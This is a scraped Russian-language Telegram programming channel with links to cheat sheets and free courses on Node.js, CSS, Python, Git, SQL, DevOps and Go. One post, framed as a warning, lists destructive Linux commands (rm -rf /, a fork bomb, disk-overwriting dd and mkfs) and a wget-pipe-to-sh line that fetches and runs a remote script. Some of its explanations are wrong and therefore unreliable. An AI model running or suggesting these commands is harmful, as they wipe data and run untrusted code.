Шпаргалки программиста
2.22K subscribers
378 photos
20 videos
118 files
160 links
Всё самое интересное по программированию

🌐 Админ @workakkk

https://t.me/itchannels_telegram - список полезных ит-каналов
Download Telegram
Node.js: шаблоны проектирования

В этой статье рассматриваются популярные паттерны: Singleton, Observer, Factory и Command. Интересно, как же они работают на реальных проектах? Для более легкого понимания темы автор также добавил сниппеты кода на TypeScript:

https://medium.com/@devhoangkien/design-patterns-in-node-js-a-fun-typescript-adventure-8bf977c2549b

#ts #nodejs
​Полное руководство по CSS Grid

CSS Grid — это мощный инструмент в современной веб-разработке, который позволяет создавать динамичные макеты. Благодаря возможности определять строки и столбцы, а затем размещать в них содержимое, CSS Grid предоставляет разработчикам контроль над тем, как отображается содержимое их веб-сайта.

В этом видео автор подробно рассказывает про CSS Grid, свойства, а также как можно использовать возможности CSS Grid для создания красивых, гибких макетов:

https://youtu.be/Pqh1UhslhYA

#css
cheat-sheet-dark.pdf
7.9 MB
Краткий справочник по некоторым наиболее полезным API конфиденциальности в Android, а также рекомендации, которые следует учитывать при разработке своего приложения.

🔗Скачать в светлом режиме
Подборка из 11 опасных команд Linux, которые не стоит запускать на свою компьютере:

rm -rf / — удалит все файлы и папки на вашем компьютере. Не запускайте ее, если не хотите потерять все свои данные;

:(){ :|: & };: — команда, также известная как «fork bomb», может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы;

mkfs.ext4 /dev/sda — форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны;

dd if=/dev/random of=/dev/sda — перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных;

chmod 777 / — откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности;

mv /home/* /dev/null — переместит все файлы в вашей домашней директории в «null», что означает, что они будут утеряны;

wget http://example.com/file -O /dev/null — загрузит файл и перезапишет все данные в «null», что приведет к потере данных.

mkfs.ext4 /dev/sda1 — форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны.

ln -s /dev/null /etc/passwd — создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных.

echo "Hello" > /dev/sda — перезапишите свой раздел, это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello»;

wget http://malicious_source -O- | sh — Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.
Подборка готовых запросов для нейронок

AI Prompt Generator – сайт сгенерирует лучший промт по вашему запросу

Stable Diffusion Prompt Generator – лучший генератор для SD

Prompthero – тонна артов с промтами

Midjourney Prompt Generator – тоже генерация промта по вашему запросу только для MJ
✍️ Крутая шпаргалка по Python, охватывает основы языка, включая типы данных, операторы, управляющие структуры, функции, классы, файловый ввод-вывод и многое другое.

С помощью этого руководства вы сможете быстро найти синтаксис и способы использования различных функций и библиотек.

#doc #python #cheatsheet
Please open Telegram to view this post
VIEW IN TELEGRAM
Ловите мощную шпаргалку по ChatGPT
MyJavaScript — полезный ресурс для начинающих фронтенд-разработчиков

На MyJavaScript собраны руководства, шпаргалки, вопросы и другие материалы по JavaScript, TypeScript, React, Next.js, Node.js, Express, Prisma, GraphQL, Docker.

Информация на сайте постоянно обновляется, поэтому вы также можете проверить все обновления и релизы в ЯП. Сохраняйте в закладки, чтобы не потерять:

https://my-js.org/

#фронтенд
Flexbox Zombies — тренажёр для изучения

Любите игры про зомби? В этой игре нужно установить арбалет и пережить атаки зомби в каждом разделе игры с помощью Flexbox. Flexbox Zombies поможет изучить основы и применить их на практике. Сейчас игра бесплатна после небольшой регистрации:

https://mastery.games/flexboxzombies/chapter/1/level/1

#css #web
git_cheatsheet.pdf
641.1 KB
Красивая шпаргалка по GIT с кодом и картинками.
Бесплатный курс по информатике от MIT

На первый взгляд может показаться, что это очередной курс по Java, но это не так. Цель лекций — научить студентов писать качественный, понятный код с использованием лучших практик и тестирования.

Каждый урок подкреплён вопросами для проверки усвоения материала и заданиями:

https://openlearninglibrary.mit.edu/courses/course-v1:MITx+6.005.1x+3T2016/course/

@progersit
SQL-cheat-sheet.pdf
224.9 KB
Подготовьтесь к собеседованиям по SQL, используя SQL Cheatsheet
7 бесплатных курсов для изучения DevOps

1. «DevOps Culture and Mindset» от Калифорнийского университета в Дейвисе

Ссылка

2. «Continuous Delivery & DevOps» от Виргинского университета

Ссылка

3. «Практики и инструменты DevOps» от ITVDN

Ссылка

4. «Курс DevOps» от Игоря Степина

Ссылка

5. « DevOps» от Академии IT

Ссылка

6. «DevOps Fundamentals» от EPAM Training Centre

Ссылка

7. «DevOps Start» от «Школы DevOps»

Ссылка
5 бесплатных курсов от Google, которые нельзя пропускать. От информатики до искусственно интеллекта.

1. Ускоренный курс по машинному обучению — основы машинного обучения, включает видеолекции от исследователей из Google.

2. Основы Python для анализа данных — программирование на Python.

3. Основы цифрового маркетинга — цифровой маркетинг для бизнеса и карьеры.

4. Введение в Data Science и аналитику — все основы Data Science и Data Science Life Cycle.

5. Создавайте приложения с помощью Flutter — красивые, мобильные и веб-приложения с помощью Flutter.
Шпаргалка по веб-хакингу на Linux.

Могла немного устареть (2019 год, на секундочку), но большая часть все еще актуальна.
Forwarded from Golang news
🔥 Полный курс Golang разработчика 2023 года.

1. О курсе - https://www.youtube.com/watch?v=Nv0vmR5OqRg&t=34s

2. Установка GO - https://www.youtube.com/watch?v=gi6gAhzUhUg

3. Пакеты в Golang https://www.youtube.com/watch?v=RNVhf-zBpdQ

4. Типы данных в Go - https://www.youtube.com/watch?v=_ilP500FEP8&t=16s

5. Строки и руны - https://www.youtube.com/watch?v=wUQB74nNxos&t=27s

6. Инструменты командной строки - https://www.youtube.com/watch?v=LzqVFx6yOAs&t=8s

7. Введение в переменные - https://www.youtube.com/watch?v=zQa85CrYQJ4&t=190s

8. Переменные на практике - https://www.youtube.com/watch?v=P9Lk0EiO2pU&t=1s

9. Упражнения с переменными -

https://www.youtube.com/watch?v=huj6RHQC34I&t=1s

10. Работа с функциями - https://www.youtube.com/watch?v=euudha7zAiU&t=7s

11. Функции на практике - https://www.youtube.com/watch?v=YdoMOD6H_nk

Полный плейлист - https://www.youtube.com/watch?v=Nv0vmR5OqRg&list=PLysMDSbb9HcxpAb8lhnMaRpX890wSLz66&pp=iAQB

Gonews